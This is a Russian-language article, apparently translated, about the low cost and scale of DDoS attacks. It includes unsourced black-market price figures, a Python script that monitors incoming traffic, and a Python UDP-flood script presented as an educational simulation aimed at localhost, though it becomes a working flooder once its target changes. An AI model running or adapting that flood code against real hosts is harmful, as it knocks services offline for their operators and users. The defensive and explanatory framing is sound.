Распределенные атаки типа «отказ в обслуживании» (DDoS) известны своей низкой стоимостью запуска и ошеломляющей разрушительной силой. Злоумышленники могут легко получить услуги на черном рынке, а их стоимость варьируется от небольших затрат в десятки юаней до тысяч или даже десятков тысяч юаней для крупных целей. Чтобы подробно понять эту структуру затрат, мы воспользуемся простым примером моделирования и напишем базовый «генератор атакующего трафика» на Python, чтобы интуитивно почувствовать взаимосвязь между стоимостью и масштабом DDoS-атак.
Обратите внимание, что этот код предназначен только для образовательных целей, чтобы продемонстрировать принципы DDoS-атак, и не должен использоваться для незаконной деятельности.
import random
import time
from socket import socket, AF_INET, SOCK_DGRAM
# Целевой IP и порт
TARGET_IP = '127.0.0.1'
TARGET_PORT = 8080
# Имитировать количество «машин-зомби», принадлежащих злоумышленнику.
ZOMBIE_COUNT = 1000
# Количество пакетов, отправленных каждой зомби-машиной в секунду
PACKETS_PER_SECOND = 10
def attack():
sock = socket(AF_INET, SOCK_DGRAM)
while True:
# Имитировать поведение каждой зомби-машины
for _ in range(ZOMBIE_COUNT):
# Генерировать случайное содержимое пакета
data = bytes(random.randint(0, 255) for _ in range(100))
# Отправить пакет
sock.sendto(data, (TARGET_IP, TARGET_PORT))
# Контроль скорости отправки
time.sleep(1./PACKETS_PER_SECOND)
if __name__ == "__main__":
print("Начинается симуляция DDoS-атаки...")
attack()
Этот упрощенный сценарий имитирует атакующего с 1000 «машинами-зомби», каждая из которых отправляет цели 10 пакетов в секунду. Хотя реальные DDoS-атаки гораздо сложнее, этого кода достаточно, чтобы проиллюстрировать, как злоумышленники могут парализовать службы с относительно ограниченными ресурсами.
Для защиты от DDoS-атак решающее значение имеют мониторинг в реальном времени и быстрое реагирование. Ниже приведен базовый пример мониторинга трафика для обнаружения аномального трафика и оповещения о нем.
import psutil
import time
# Установите порог трафика в КБ/с.
THRESHOLD = 1000
def monitor_traffic():
prev_bytes_recv = psutil.net_io_counters().bytes_recv
while True:
time.sleep(1)
curr_bytes_recv = psutil.net_io_counters().bytes_recv
received = (curr_bytes_recv - prev_bytes_recv) / 1024 # Конвертировать в КБ
if received > THRESHOLD:
print(f"Предупреждение: аномальный трафик! Текущий входящий трафик: {received:.2f} KB/s")
prev_bytes_recv = curr_bytes_recv
if __name__ == "__main__":
print("Начинается мониторинг трафика...")
monitor_traffic()
Этот код отслеживает трафик, получаемый системной сетью, и выводит предупреждающее сообщение, когда трафик превышает установленный порог (например, 1000 КБ/с). Хотя это очень простой пример, в практических приложениях его следует использовать в сочетании с другими мерами защиты (такими как очистка трафика, правила брандмауэра, сотрудничество с поставщиками облачных услуг и т. д.) для построения комплексной системы защиты.
На приведенных выше примерах мы интуитивно демонстрируем взаимосвязь между стоимостью и масштабом DDoS-атак, а также основные методы мониторинга защиты.
На практике защита от DDoS — это систематический проект, предполагающий сочетание технологий, стратегии и права. Предприятиям следует принять комплексные меры, исходя из собственных обстоятельств, чтобы минимизировать потенциальные потери и защитить свой бизнес от угрозы DDoS-атак.
В настоящее время стоимость таких хакерских атак очень низка, и сформирована производственная цепочка. Некоторые хакеры четко обозначили свои цены. Например, если вы хотите отправить на веб-сайт 1 ГБ трафика в течение одного часа, онлайн-расценка будет стоить всего 50 юаней. **Не так давно сообщалось, что генеральный директор сайта онлайн-кредитования P2P нанял хакеров для проведения DDOS-атак с целью борьбы с конкурентами, в результате чего бизнес другой стороны был парализован.
Сяо Ду из Phison Technology поделился данными своих клиентов. Интуитивно видно, что количество атак в последние годы растёт.
Выберите надежную защиту, которая более надежна и экономична.